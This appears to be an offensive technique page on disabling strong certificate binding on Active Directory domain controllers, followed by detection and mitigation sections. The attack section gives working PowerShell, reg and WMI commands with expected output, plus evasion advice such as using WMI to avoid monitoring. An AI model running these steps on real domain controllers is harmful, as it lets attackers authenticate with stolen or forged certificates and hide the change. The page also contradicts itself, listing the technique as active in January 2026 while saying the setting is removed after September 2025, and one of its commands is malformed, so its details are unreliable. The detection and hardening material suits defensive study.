| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-021 |
| MITRE ATT&CK v18.1 | T1562.001 - Impair Defenses: Disable or Modify Tools |
| Tactic | Defense Evasion |
| Platforms | Windows AD (Domain Controllers, Certificate Services) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE (as of January 2026) |
| Last Verified | 2026-01-09 |
| Affected Versions | Windows Server 2016, Server 2019, Server 2022, Server 2025 |
| Patched In | Enforcement deadline: September 10, 2025 (no workaround after this date) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: This technique abuses the transitional enforcement of Strong Certificate Mapping by disabling or downgrading certificate binding verification on Active Directory Domain Controllers. When the registry key StrongCertificateBindingEnforcement is set to 0 or 1 (Compatibility Mode), domain controllers accept weakly-mapped or unmapped certificates for authentication, bypassing the Security Identifier (SID) extension requirement introduced in KB5014754 (May 2022). This allows attackers to use stolen, forged, or improperly-mapped certificates to authenticate as legitimate users without the SID extension that proves certificate authenticity.
Attack Surface: Active Directory Domain Controllers (KDC), Certificate Services infrastructure, Schannel registry configuration, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc registry hive.
Business Impact: Unauthorized domain access via weakly-bound certificates, privilege escalation, lateral movement, and persistence. An attacker with a stolen certificate (even without proper SID binding) can authenticate as any mapped user, bypassing modern certificate security controls. Domain-wide compromise becomes possible if Domain Admin certificates are compromised.
Technical Context: Strong Certificate Mapping was introduced to prevent certificate-based privilege escalation. Before May 2022, any certificate with the correct User Principal Name (UPN) or Subject Alternative Name (SAN) could authenticate. The new SID extension (OID 1.3.6.1.4.1.311.25.2) embeds the principal’s Security Identifier directly in the certificate. Domain controllers were initially in Compatibility Mode (logging events but allowing weak mappings), but as of February 2025, Full Enforcement mode is active by default. Setting StrongCertificateBindingEnforcement = 0 or 1 on domain controllers disables or downgrades this protection, allowing weak mappings again. This downgrade is typically detectable but remains viable during the transition phase (through September 9, 2025).
StrongCertificateBindingEnforcement = 2 re-enables Full Enforcement.| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 4.1.7 | Ensure ‘Audit Removable Storage’ is set to ‘Success and Failure’ |
| DISA STIG | V-93305 | Windows Server 2016 DC: Require certificates be issued to have an explicit strong mapping |
| NIST 800-53 | IA-5 | Authentication Mechanisms – Enforce certificate-based authentication with SID binding |
| GDPR | Art. 32 | Security of Processing – Cryptographic protection of identity credentials |
| NIS2 | Art. 21 | Cyber Risk Management – Ensure authentication security measures are in place |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights – Prevent unauthorized certificate use |
| ISO 27005 | Risk Assessment | Compromise of Certificate Infrastructure |
Prerequisites:
Supported Versions: Server 2016-2025
Objective: Verify local administrative access on a Domain Controller and establish remote registry access.
Command (PowerShell as Domain Admin):
# Test connectivity to domain controller's registry
$dc = "DC01.contoso.com"
Test-NetConnection -ComputerName $dc -Port 445 -InformationLevel Detailed
# Confirm Domain Admin status
whoami /groups | findstr "Domain Admins"
Expected Output:
ComputerName : DC01.contoso.com
RemoteAddress : 192.168.1.10
Port : 445
TcpTestSucceeded : True
S-1-5-21-*-512 Domain Admins
What This Means:
OpSec & Evasion:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc path which is less monitored than other security-critical pathsObjective: Downgrade domain controller from Full Enforcement to Compatibility Mode, allowing weak certificate mappings while logging events.
Command (PowerShell - Remote Registry):
$dc = "DC01.contoso.com"
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc"
$regKey = "StrongCertificateBindingEnforcement"
# Connect to remote registry
$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $dc)
$key = $reg.OpenSubKey($regPath, $true)
if ($null -eq $key) {
Write-Host "KDC registry path does not exist, creating..."
# Path should exist on domain controllers
}
# Set to Compatibility Mode (1) - allows weak mappings with event logging
$key.SetValue($regKey, 1, [Microsoft.Win32.RegistryValueKind]::DWord)
$key.Close()
Write-Host "Set $regKey to 1 (Compatibility Mode) on $dc"
Alternative (Command Prompt - Remote Registry):
reg add "\\DC01\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement /t REG_DWORD /d 1 /f
Expected Output:
The operation completed successfully.
Set StrongCertificateBindingEnforcement to 1 (Compatibility Mode) on DC01.contoso.com
What This Means:
1 (Compatibility Mode)OpSec & Evasion:
Troubleshooting:
Objective: Confirm that the registry modification was successful.
Command (PowerShell):
$dc = "DC01.contoso.com"
$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $dc)
$key = $reg.OpenSubKey("SYSTEM\CurrentControlSet\Services\Kdc")
$value = $key.GetValue("StrongCertificateBindingEnforcement")
Write-Host "StrongCertificateBindingEnforcement = $value"
Expected Output (Compatibility Mode - Weak mappings allowed with logging):
StrongCertificateBindingEnforcement = 1
Expected Output (Full Enforcement - Weak mappings denied):
StrongCertificateBindingEnforcement = 2
OR
StrongCertificateBindingEnforcement = (null/does not exist)
What This Means:
1 = Compatibility Mode (weak mappings allowed, events logged)2 = Full Enforcement Mode (weak mappings denied)Objective: Demonstrate that a certificate without SID extension can now authenticate against the domain controller.
Command (PowerShell - Certificate Authentication):
# This example uses a certificate without SID extension
# In a real attack, this would be a stolen or forged certificate
$cert = Get-ChildItem Cert:\CurrentUser\My | Where-Object { $_.Subject -match "CN=.*User" } | Select-Object -First 1
if ($null -eq $cert) {
Write-Host "No suitable certificate found. Demonstrating with hypothetical cert..."
} else {
Write-Host "Using certificate: $($cert.Subject)"
Write-Host "Thumbprint: $($cert.Thumbprint)"
Write-Host "Has SID Extension (OID 1.3.6.1.4.1.311.25.2): $($cert.Extensions | Where-Object { $_.Oid.Value -eq '1.3.6.1.4.1.311.25.2' } | Measure-Object | Select-Object -ExpandProperty Count)"
}
# Attempt LDAP binding with certificate (requires ldapsc:// or PKINIT)
# This would succeed if StrongCertificateBindingEnforcement = 1
Write-Host "With StrongCertificateBindingEnforcement = 1, authentication will succeed even without SID extension"
Expected Outcome:
StrongCertificateBindingEnforcement = 1, authentication with a weak certificate succeedsSupported Versions: Server 2016-2025
Objective: Deploy the registry change across multiple domain controllers via Group Policy.
Manual Steps (Group Policy Management Console):
gpupdate /force on DCs)Expected Outcome:
OpSec & Evasion:
Supported Versions: Server 2016-2025
Command (PowerShell - WMI StdRegProv for stealth):
# Using WMI to modify registry (may bypass some monitoring)
$dc = "DC01.contoso.com"
$regPath = "SYSTEM\CurrentControlSet\Services\Kdc"
$regName = "StrongCertificateBindingEnforcement"
$regValue = 1
$wmiParams = @{
ComputerName = $dc
Namespace = "root\default"
Path = "StdRegProv"
Name = "SetDWORDValue"
ArgumentList = @(
[uint32]'0x80000002', # HKEY_LOCAL_MACHINE
$regPath,
$regName,
$regValue
)
}
$wmiprovider = Get-WmiObject @wmiParams
if ($wmiprovider.ReturnValue -eq 0) {
Write-Host "Registry value set successfully via WMI"
} else {
Write-Host "Failed to set registry value: $($wmiprovider.ReturnValue)"
}
Expected Output:
Registry value set successfully via WMI
OpSec Benefit:
Event ID 4657 - Registry Object was Modified
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement2 (Full Enforcement) or absent (default Full Enforcement) to 1 (Compatibility) or 0 (Disabled)KDC Event Logs (Event ID 39, 40, 41)
# Check domain controller for Event ID 39 indicating weak certificate mappings
Get-WinEvent -LogName "System" -FilterXPath "*[System[(EventID=39)]]" -MaxEvents 50 |
Select-Object TimeCreated, Message |
Format-Table -AutoSize
Atomic Test ID: T1562.001-4 (Adapted)
Test Name: Disable or Modify Tools - Domain Controller Strong Binding Bypass
Command:
# Prerequisite: Domain Admin privileges
$dc = "localhost" # Run on domain controller
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc"
$regKey = "StrongCertificateBindingEnforcement"
# Set to Compatibility Mode
New-ItemProperty -Path $regPath -Name $regKey -Value 1 -PropertyType DWORD -Force
# Verify
Get-ItemProperty -Path $regPath -Name $regKey
Cleanup Command:
# Remove the registry key to restore default behavior
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -Name "StrongCertificateBindingEnforcement" -Force
# Or set to Full Enforcement (2)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -Name "StrongCertificateBindingEnforcement" -Value 2
Reference: Atomic Red Team - T1562.001
Mitigation 1: Enforce Full Enforcement Mode (StrongCertificateBindingEnforcement = 2)
This registry setting enforces strong certificate mapping across all domain controllers, preventing weak certificates from authenticating.
Manual Steps (Immediate - PowerShell):
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc"
$regKey = "StrongCertificateBindingEnforcement"
# Set to Full Enforcement Mode (2)
New-ItemProperty -Path $regPath -Name $regKey -Value 2 -PropertyType DWORD -Force
# Verify
Get-ItemProperty -Path $regPath -Name $regKey
Manual Steps (Domain-Wide via GPO):
gpupdate /force /target:computerExpected Outcome:
Validation Command:
# Check all domain controllers
$dcs = (Get-ADDomainController -Filter * | Select-Object -ExpandProperty Name)
foreach ($dc in $dcs) {
$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $dc)
$key = $reg.OpenSubKey("SYSTEM\CurrentControlSet\Services\Kdc")
$value = $key.GetValue("StrongCertificateBindingEnforcement")
Write-Host "$dc : StrongCertificateBindingEnforcement = $value"
}
Expected Output (Secure):
DC01 : StrongCertificateBindingEnforcement = 2
DC02 : StrongCertificateBindingEnforcement = 2
DC03 : StrongCertificateBindingEnforcement = 2
Mitigation 2: Enforce SID Extension in All Issued Certificates
Ensure the Certificate Authority (CA) issues all certificates with the SID extension (OID 1.3.6.1.4.1.311.25.2).
Manual Steps (Update Certificate Templates):
1.3.6.1.4.1.311.25.2Validation (Check Issued Certificates):
# Export and check certificate extensions
$cert = Get-ChildItem Cert:\LocalMachine\My | Select-Object -First 1
$hasStrongMapping = $cert.Extensions | Where-Object { $_.Oid.Value -eq "1.3.6.1.4.1.311.25.2" }
if ($hasStrongMapping) {
Write-Host "Certificate has SID extension: YES"
} else {
Write-Host "Certificate has SID extension: NO - VULNERABLE"
}
Mitigation 3: Disable Legacy Certificate Authentication Methods
Ensure only strong mapping methods are allowed via the CertificateMappingMethods registry key.
Manual Steps:
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel"
$regKey = "CertificateMappingMethods"
# Set to only allow strong mapping (0x1 = SUBJECT_ALT_NAME only, 0x4 = EXPLICIT mapping)
# 0x5 = SUBJECT_ALT_NAME + EXPLICIT (recommended)
New-ItemProperty -Path $regPath -Name $regKey -Value 0x5 -PropertyType DWORD -Force
Write-Host "Certificate mapping limited to strong methods only"
Mitigation 4: Enable Comprehensive Audit Logging
Monitor for weak certificate mappings and registry modifications.
Manual Steps (Enable KDC Audit Logging):
gpupdate /forceMonitor for Suspicious Events:
# Check for Event ID 39 (weak mappings) - should be zero if strong binding enforced
Get-WinEvent -LogName "System" -FilterXPath "*[System[(EventID=39)]]" -MaxEvents 100 |
Where-Object { $_.TimeCreated -gt (Get-Date).AddDays(-1) } |
Measure-Object
# Check for registry modifications (Event ID 4657)
Get-WinEvent -LogName "Security" -FilterXPath "*[System[(EventID=4657)]] and *[EventData[Data[@Name='ObjectName'] and contains(., 'StrongCertificateBindingEnforcement')]]" -MaxEvents 50
Mitigation 5: Restrict Registry Access on Domain Controllers
Prevent unauthorized registry modifications.
Manual Steps (Group Policy - Restrict Registry Rights):
gpupdate /forceHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement set to 0 or 1StrongCertificateBindingEnforcement via SIEM# Restore Full Enforcement on all DCs
Get-ADDomainController -Filter * | ForEach-Object {
Set-ItemProperty -Path "\\$($_.Name)\HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" `
-Name "StrongCertificateBindingEnforcement" -Value 2
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] Azure Application Proxy Exploitation | Attacker gains initial foothold via vulnerable proxy |
| 2 | Credential Access | [CA-UNSC-019] Federation Server Certificate Theft | Attacker steals certificate from compromised federation server |
| 3 | Defense Evasion | [EVADE-IMPAIR-021] | Attacker disables strong certificate mapping to allow weak certificate authentication |
| 4 | Persistence | [CA-FORGE-001] Golden SAML Attack | Attacker creates persistent backdoor using the weakly-authenticated certificate |
| 5 | Impact | [IMPACT-002] Domain Wide Ransomware Deployment | Attacker leverages domain access to deploy ransomware |
⚠️ CRITICAL DEADLINE: September 10, 2025
After September 10, 2025, Microsoft will permanently remove the StrongCertificateBindingEnforcement registry key. All domain controllers will enforce strong certificate mapping by default with no option to downgrade.
Organizations must:
StrongCertificateBindingEnforcement = 2 on all DCs before deadline